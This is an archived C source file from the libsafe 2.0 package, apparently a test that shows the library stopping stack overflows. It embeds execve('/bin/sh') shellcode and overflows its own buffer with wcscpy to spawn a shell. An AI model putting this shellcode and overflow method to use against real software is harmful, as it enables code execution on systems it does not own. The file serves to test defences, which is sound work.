"Fossies" - the Fresh Open Source Software Archive 
Member "libsafe-2.0-16/exploits/t1w.c" (12 Jun 2002, 1729 Bytes) of package /linux/misc/old/libsafe-2.0-16.tgz:
As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style:
standard) with prefixed line numbers and
code folding option.
Alternatively you can here
view or
download the uninterpreted source code file.
1 /*
2 * $Name: release2_0-16 $
3 * $Id: t1w.c,v 1.2 2002/06/12 20:30:37 ttsai Exp $
4 */
5
6
7 #include <stdio.h>
8 #include <string.h>
9 #include <sys/types.h>
10 #include <stdlib.h>
11 #include <wchar.h>
12
13 char shellcode[] =
14 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
15 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
16 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
17
18 char large_string[128];
19
20 /*
21 * Return 1 if at least one of the bytes in addr is 0x00; else return 0.
22 */
23 int contains_null_bytes(caddr_t addrp) {
24 uint addr = (uint) addrp;
25 return !(addr & 0xff &&
26 addr & 0xff00 &&
27 addr & 0xff0000 &&
28 addr & 0xff000000);
29 }
30
31 void foo() {
32 char buffer[96], *p;
33 int i;
34 long *long_ptr = (long *) large_string;
35
36 printf("This program tries to use strcpy() to overflow the buffer.\n");
37 printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
38 printf("Press any key to continue...");
39 getchar();
40
41 /*
42 * Make sure that there are no zero bytes in the starting address in
43 * buffer[]. If so, find the first address containing no zero bytes.
44 */
45 for (p=buffer; contains_null_bytes(p); p++);
46 if (contains_null_bytes(p)) {
47 printf("We can't find an acceptable address that doesn't contain\n");
48 printf("a zero byte. Giving up.\n");
49 exit(-1);
50 }
51
52 for (i = 0; i < 32; i++)
53 *(long_ptr + i) = (int) p;
54 for (i = 0; i < sizeof(shellcode)-1; i++) {
55 large_string[i] = shellcode[i];
56 }
57 wcscpy((wchar_t*)p, (wchar_t*)large_string);
58
59 return;
60 }
61
62 int main(int ac, char *av[]) {
63 foo();
64
65 printf("If you see this statement, it means that the buffer overflow\n");
66 printf("never occurred.\n");
67
68 return 0;
69 }